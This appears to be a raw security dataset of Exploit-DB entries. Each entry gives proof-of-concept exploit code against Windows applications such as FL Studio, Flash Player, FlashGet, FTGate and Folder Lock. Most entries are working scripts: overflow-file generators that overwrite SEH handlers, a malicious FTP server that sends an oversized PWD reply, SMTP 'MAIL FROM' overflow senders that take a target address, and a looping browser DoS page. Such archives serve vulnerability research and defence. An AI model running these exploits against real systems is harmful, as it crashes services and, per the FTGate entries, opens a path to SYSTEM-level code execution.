deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21826
Description: FL Studio 10 Producer Edition - Buffer Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2012-10-09
Author: Dark-Puzzle

Exploit:
# Title  : FL Studio 10 Producer Edition - SEH Based Buffer Overflow PoC
# Author : Dark-Puzzle (Souhail Hammou)
# Type   : PoC
# Risk   : High
# Vendor : Image Line: http://www.image-line.com/downloads/flstudiodownload.html
# Versions : 10 Producer Edition (Other Versions May be Vulnerable).
# Tested On : Windows 7 64-bits .
# Date : 8 October 2012
-----------------------------------------
-----------------------------------------
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...
# Fl Studio is Prone to a SEH based Buffer Overflow which allows attacker to execute arbitary code on the victim's machine .
# To trigger the vulnerability the attacker must fake the "Browser Extra search folder" path & paste the input released from this PoC .
# Looking a little bit deeper in the stack & in the EBP register we will see that the software will try to create a file named e.g. BBBBCCCC.NFO 
# Then the EIP is overwritten with the SEH address .
# The Exploit will look like this : [Junk "A" x 416] [6 Bytes Jump + 2Nops ] [p/p/r address or other] [Shellcode] .
# Go to Options ---> File Settings ---> Choose File In the left column ---> Paste the input in Browser Extra Search Folder ---> Press Enter ---> and close the window .
# == Crash Triggered + Seh Overwritten .

#Images :
#1st : http://s7.postimage.org/ubgogmjmz/image.png
#2nd : http://s7.postimage.org/yymqie6zv/image.png
#3rd : http://s7.postimage.org/3p47rnffv/image.png

my $As = "\x41" x 416 ;
my $pnseh = "\x42\x42\x42\x42";
my $seh = "\x43\x43\x43\x43";

my $input = $As.$pnseh.$seh;


open(myfile,'>input.txt');
print myfile $input;
close(myfile);
print "FL Studio 10 Producer Edition SEH Based Overflow\n";
print "\x44\x69\x73\x63\x6F\x76\x65\x72\x65\x64\x20\x26\x20\x50\x6F\x43\x20\x42\x79\x20\x44\x61\x72\x6B\x2D\x50\x75\x7A\x7A\x6C\x65\n";
print "Creating PoC Input\n";
sleep 5;
print $input ;
Exploit-DB #37845
Description: Flash - Uninitialized Stack Variable MPD Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2015-08-19
Author: bilou

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=316&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=472201]

Credit is to bilou, working with the Chromium Vulnerability Rewards Program.

---
VULNERABILITY DETAILS
Loading a weird MPD file can corrupt flash player's memory.

VERSION
Chrome version 41.0.2272.101, Flash 17.0.0.134
Operating System: Win 7 x64 SP1

REPRODUCTION CASE
I'm ripping most of this from scarybeasts' sources. I'm sure he's ok with that =D.

"To reproduce, host the attached SWF and other files on a web server (e.g. localhost) and load it like this:"

"http://localhost/PlayManifest.swf?file=gen.mpd

"To compile the .as file, I had to use special flags to flex:"

"mxmlc -target-player 14.0 -swf-version 25 -static-link-runtime-shared-libraries ./PlayManifest.as"
"(This also requires that you have v14.0 of playerglobals.swc installed. Any newer version should also be fine.)"


On Win7 x64 sp1 with Chrome 32 bit, crash like this:
6AA8B67C | 8B C3                    | mov eax,ebx                             |
6AA8B67E | E8 A1 05 00 00           | call pepflashplayer.6AA8BC24            |
6AA8B683 | EB A8                    | jmp pepflashplayer.6AA8B62D             |
6AA8B685 | 89 88 D0 00 00 00        | mov dword ptr ds:[eax+D0],ecx           |  // crash here, eax points somewhere in pepflashplayer.dll
6AA8B68B | 8B 88 88 00 00 00        | mov ecx,dword ptr ds:[eax+88]           |
6AA8B691 | 33 D2                    | xor edx,edx                             |
6AA8B693 | 3B CA                    | cmp ecx,edx                             |
6AA8B695 | 74 07                    | je pepflashplayer.6AA8B69E              |
6AA8B697 | 39 11                    | cmp dword ptr ds:[ecx],edx              |
6AA8B699 | 0F 95 C1                 | setne cl                                |


At first sight this looks to be an uninitialized stack variable but I might be wrong.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37845.zip
Exploit-DB #14767
Description: Flash Movie Player 1.5 - File Magic Denial of Service
Type: dos
Platform: windows
Date: 2010-08-25
Author: Matthew Bergin

Exploit:
Flash Movie Player v1.5 File Magic Crash
http://www.eolsoft.com/
http://www.eolsoft.com/freeware/flash_movie_player/

Author: Matthew Bergin
Website: http://berginpentesting.com
Date: August 25, 2010

Description: Flash Movie Player is a free stand-alone player for ShockWave Flash (SWF) animations, based on the Macromedia Flash Player plugin. In addition to all Macromedia Flash Player abilities, it has some extended features, such as animation rewinding, advanced full screen mode, playlists, browser cache integration and exe projectors support. 

The software is provided "AS IS" without any warranty, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The author will not be liable for any special, incidental, consequential or indirect damages due to loss of data or any other reason. You are welcome to use this software without paying any kind of fee.

Flash Information
Plugin: Adobe Flash Player 10.1 r52
Version: 10.1.52.14
File: C:\WINDOWS\system32\Macromed\Flash\Flash10g.ocx
Operating System: Windows XP SP3

Bug Information:
Exception at UNKNOWN_VALUE: 0x0EEDFADE
0x0EEDFADE - Delphi exception was caught by one of the RTL's default C++ exception handlers.
#1 7C812AFB : RaiseException (RaiseException) 00491EFE (0012E8B0/00000000) C:\WINDOWS\system32\advapi32.dll
#2 00491EFE : 00491F34 (0012E908/00000000) 
#3 00491F34 : 0049552E (0012E914/00000000) 
#4 0049552E : 004953BE (0012E954/00000000) 
#5 004953BE : 004B99BA (0012E96C/00000000) 
#6 004B99BA : 00495925 (0012E9A4/00000000) 
#7 00495925 : 004947AE (0012E9DC/00000000) 
#8 004947AE : 1018D704 (0012E9F0/00000000) 
#9 1018D704 : 10193E91 (0012EA38/00000000) .text
#10 10193E91 : FFFFFFFF (0012EADC/00000000) .text
#11 FFFFFFFF : 00000000 (FFFF4000/00000000) C:\WINDOWS\system32\kernel32.dll

Reproducing this bug:

Reproduction is very simple. The first 3 bytes of any SWF file is FWS, to reproduce the issue we need to replace the first byte 'F' with an '`' to make the magic look like '`WS' and load this file into Flash Movie Player.

POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14767.tar.gz
Exploit-DB #37843
Description: Flash Player - Integer Overflow in Function.apply
Type: dos
Platform: windows
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]

VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.

VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1

REPRODUCTION CASE

From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp

944 // Specialized to be called from Function.apply(). 
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 
946 { 
947     int32_t argc = a->getLength(); 

...
 
966     // Tail call inhibited by local allocation/deallocation. 
967     MMgc::GC::AllocaAutoPtr _atomv; 
968     Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom));   //here if argc = 0xFFFFFFFF we get an integer overflow
969     atomv[0] = thisArg; 
970     for (int32_t i=0 ; i < argc ; i++ ) 
971         atomv[i+1] = a->getUintProperty(i); 
972     return env->coerceEnter(argc, atomv); 
973 } 


So the idea is to use the rest argument to get a working poc. For example:

    public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
        
        try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
        
    }
    public function XApplyPoc() {
        var a:Array = new Array()
       
        a.length = 0xFFFFFFFF
        myFunc.apply(this, a)
    }

Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip
Exploit-DB #48269
Description: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-03-31
Author: Paras Bhatia

Exploit:
# Exploit Title: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC) 
# Vendor Homepage: https://www.flashfxp.com/ 
# Software Link Download: https://www.filehorse.com/download-flashfxp/22451/download/
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-03-30
# Vulnerable Software: FlashFXP
# Version: 4.2.0 Build 1730
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on: Windows 10 Pro (64 bit) 

#Steps to Produce the Crash:

#   1.- Run python code: FlashCrash.py
#   2.- Copy content to clipboard
#   3.- Open "FlashFXP.exe"
#   4.- Go to "Options" > Filters > Skip List > New Entry
#   5.- Paste ClipBoard into the "Mask" field
#   6.- Click on OK
#   7.- Go to "Options" > Filters > Skip List
#   8.- Crashed

#################################################################################################################################################

#Python "FlashCrash.py" Code:
   
buffer = "\x41" * 300
f = open ("FlashCrash.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #6240
Description: FlashGet 1.9 - 'FTP PWD Response' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-08-13
Author: h07

Exploit:
#!/usr/bin/python
# FlashGet 1.9 (FTP PWD Response) 0day Remote Buffer Overflow PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Testen on: FlashGet 1.9 / XP SP2 Polish
# Product URL: http://www.flashget.com/en/download.htm?uid=undefined
# Details:..
#
# 257 "[AAAA..332]/" is current directory.\r\n <-- overflow
#
# 41414141  Pointer to next SEH record
# 41414141  SE handler
#
# ----------------------------------------------------------------
# Exception C0000005 (ACCESS_VIOLATION reading [41414141])
# ----------------------------------------------------------------
# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
# ESP=020D1260: BF 37 90 7C 48 13 0D 02-08 FF 1C 02 64 13 0D 02
# EBP=020D1280: 30 13 0D 02 8B 37 90 7C-48 13 0D 02 08 FF 1C 02
# ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#               --> N/A
# ----------------------------------------------------------------
# Just for fun ;]
##

from time import sleep
from socket import *

res = [
    '220 WELCOME!! :x\r\n',
    '331 Password required for %s.\r\n',
    '230 User %s logged in.\r\n',
    '250 CWD command successful.\r\n',
    '257 "%s/" is current directory.\r\n' # <-- %s B0f :x
    ]

buf = 'A' * 332

s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])

user = ''

for i in range(1, len(res)):
    req = c.recv(1024)
    print '[*][CLIENT] %s' % (req)
    tmp = res[i]
    if(req.find('USER') != -1):
        req = req.replace('\r\n', '')
        user = req.split('\x20', 1)[1]
        tmp %= user
    if(req.find('PASS') != -1):
        tmp %= user
    if(req.find('PWD') != -1):
        tmp %= buf    
    print '[*][SERVER] %s' % (tmp)    
    c.send(tmp)

sleep(5)
c.close()
s.close()

print '[+] DONE'

# EoF

# milw0rm.com [2008-08-13]
Exploit-DB #48434
Description: FlashGet 1.9.6 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-05-07
Author: Milad karimi

Exploit:
# Exploit Title: FlashGet 1.9.6 - Denial of Service (PoC)
# Date: 2020-05-02
# Author: Milad Karimi
# Testen on: Kali Linux
# Software Link: http://www.flashget.com/en/download.htm?uid=undefined
# Version: 1.9.6
# CVE : N/A

#!/usr/bin/python

from time import sleep
from socket import *

res = [
    '220 WELCOME!! :x\r\n',
    '331 Password required for %s.\r\n',
    '230 User %s logged in.\r\n',
    '250 CWD command successful.\r\n',
    '257 "%s/" is current directory.\r\n' # <-- %s B0f :x
    ]

buf = 'A' * 332

s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])

user = ''

for i in range(1, len(res)):
    req = c.recv(1024)
    print '[*][CLIENT] %s' % (req)
    tmp = res[i]
    if(req.find('USER') != -1):
        req = req.replace('\r\n', '')
        user = req.split('\x20', 1)[1]
        tmp %= user
    if(req.find('PASS') != -1):
        tmp %= user
    if(req.find('PWD') != -1):
        tmp %= buf    
    print '[*][SERVER] %s' % (tmp)    
    c.send(tmp)

sleep(5)
c.close()
s.close()

print '[+] DONE'
 
# Discovered By : Milad Karimi
Exploit-DB #11021
Description: FlashGet 3.x - IEHelper Remote Execution (PoC)
Type: dos
Platform: windows
Date: 2010-01-06
Author: superli

Exploit:
# Exploit Title:flashget 3.x IEHelper remote exec 0day poc
# Date: 2010.01.05
# Author: superli
# Version: 3.x
# Tested on: xp sp3
# Code : 
<object id=TestObj classid="CLSID:{C6262DCE-6E64-45D2-B080-801F1E298AC2}" style="width:100;height:350"></object>
Exploit-DB #46294
Description: FlexHEX 2.46 - Buffer Overflow (PoC) (SEH Overwrite)
Type: dos
Platform: windows
Date: 2019-01-31
Author: Rafael Pedrero

Exploit:
# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
# Tested Version: 2.46
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run FlexHEX.exe
# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard
# 3.- Paste the content into the field: 'Stream Name:'
# 4.- Click 'OK' button and you will see a crash.


'''
Log data, item 21
 Address=0BADF00D
 Message=    SEH record (nseh field) at 0x0012dde8 overwritten with unicode
pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data
after the handler

SEH chain of main thread
Address    SE handler
0012DDFC   FlexHEX.00420042
00420042   8BC13B2C
4E8B3C46   *** CORRUPT ENTRY ***

EAX 00410041 FlexHEX.00410041
ECX 00000000
EDX 00000000
EBX 0012FA18
ESP 0012DE3C UNICODE "AAAAAAAAAABBBB"
EBP 00410041 FlexHEX.00410041
ESI 0012DE78
EDI 0012E69C
EIP 00410041 FlexHEX.00410041
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


'''

#!/usr/bin/env python

nseh = "BB"
seh = "BB"

junk = "\x41" * 276
crash = junk + nseh + seh
f = open ("FlexHEX_SEH_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #9506
Description: FLIP Flash Album Deluxe 1.8.407.1 - '.fft' Crash (PoC)
Type: dos
Platform: windows
Date: 2009-08-24
Author: the_Edit0r

Exploit:
#!/usr/bin/perl
#[+] Bug : FLIP Flash Album Deluxe 1.8.407.1 (.fft File) Crash Vulnerability  Exploit
#[+] program  Download : http://www.goztun.com/download/FlipFlashAlbumDeluxeSetup.exe
#[+] Author : the_Edit0r
# Contact me : the_3dit0r[at]Yahoo[dot]coM
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP3
#[+] web site: Expl0iters.ir  * Anti-security.ir
#[+] Big thnx: H4ckcity Member


my $crash="\x41\x41\x41\x41\x41" x 100005;
open(myfile,'>>Edit0r.fft');
print myfile $crash;
close($FILE);
print "File Created successfully\n";

# After Clicking On file Perl  Run The Program  ,import template  ( .fft  file) Boom !!!!!!! the Program Crashed

# milw0rm.com [2009-08-24]
Exploit-DB #6391
Description: Flock Social Web Browser 1.2.5 - 'loop' Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-09-06
Author: LiquidWorm

Exploit:
<!----------------------------------------------0
|						|
|  Flock Web Browser 1.2.5 Remote DoS Exploit	|
|						|
|	by Gjoko 'LiquidWorm' Krstic		|
|						|
|	 http://www.zeroscience.org		|
|						|
|	liquidworm [t00t] gmail.com		|
|	 					|
|	  	  06.09.2008			|
|						|
0----------------------------------------------->


<html>

<title>Flock Social Web Browser 1.2.5 (loop) Remote Denial of Service Exploit</Title>

<head>

<br /><br />

<center><h1><strong><kbd>Flock Social Web Browser 1.2.5 (loop) Remote Denial of Service Exploit</kbd></strong></h1>

<br /><h2><kbd>Freezed/Locked - Not Responding...</kbd><h2></center>

<body>

<script type="text/javaScript">


function Xploit()
{
	title="DoS";
	url="http://www.zeroscience.org";
	if (window.sidebar)
	{
		window.sidebar.addPanel(title, url,"");
	} 
		
	else if( window.external )
	{
		window.external.AddFavorite( url, title);
	}
	
	else if(window.opera && window.print)
	{
		return (true);
	}
}

for (n=0; n<n+1; n++)

Xploit();


</script>

<center>
<a href="http://www.zeroscience.org/codes/flock_dos.html"><i>http://www.zeroscience.org/codes/flock_dos.html</i></a>
</center>

</body> </head> </html>

<!-- thanks to Gianni Amato -->

# milw0rm.com [2008-09-06]
Exploit-DB #22568
Description: FloosieTek FTGate PRO 1.22 - SMTP MAIL FROM Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-06
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/7506/info

A buffer overflow vulnerability has been reported for Floosietek FTGate PRO mail server. The vulnerability exists when the mail server attempts to process overly long SMTP 'Mail From' arguments. Due to the nature of this vulnerability it may be exploited to execute attacker-supplied code with the privileges of the SYSTEM user.

This vulnerability was reported for FTGate PRO 1.22 Hotfix(1328). It is likely that previous versions are also affected. 

#!/usr/bin/perl -w
##################
# FTGate Pro Mail Server v. 1.22 (1328) DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: der@infowarfare.dk
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short
# Period, where we can actually overwrite the exception handler on the stack allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
# 
#

use IO::Socket;
    
$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "a" x 2400;


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock);
Exploit-DB #22569
Description: FloosieTek FTGate PRO 1.22 - SMTP RCPT TO Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-06
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/7508/info

A buffer overflow vulnerability has been reported for Floosietek FTGate PRO mail server. The vulnerability exists when the mail server attempts to process overly long SMTP 'Rcpt To' arguments. Due to the nature of this vulnerability it may be exploited to execute attacker-supplied code with the privileges of the SYSTEM user.

This vulnerability was reported for FTGate PRO 1.22 Hotfix(1328). It is likely that previous versions are also affected.

#!/usr/bin/perl -w
##################
# FTGate Pro Mail Server v. 1.22 (1328) DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: der@infowarfare.dk
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short
# Period, where we can actually overwrite the exception handler on the stack allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
# 
#

use IO::Socket;
    
$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "a" x 2400;


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock);
Exploit-DB #47383
Description: Folder Lock 7.7.9 - Denial of Service
Type: dos
Platform: windows
Date: 2019-09-13
Author: Achilles

Exploit:
# Exploit Title: Folder Lock v7.7.9 Denial of Service Exploit
# Date: 12.09.2019
# Vendor Homepage:https://www.newsoftwares.net/folderlock/
# Software Link:  https://www.newsoftwares.net/download/folderlock7-en/folder-lock-en.exe
# Exploit Author: Achilles
# Tested Version: 7.7.9
# Tested on: Windows 7 x64


# 1.- Run python code :Folder_Lock.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Folderlock and Click 'Enter Key'
# 4.- Paste the content of EVIL.txt into the Field: 'Serial Number and Registration Key'
# 5.- Click 'Submit' and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"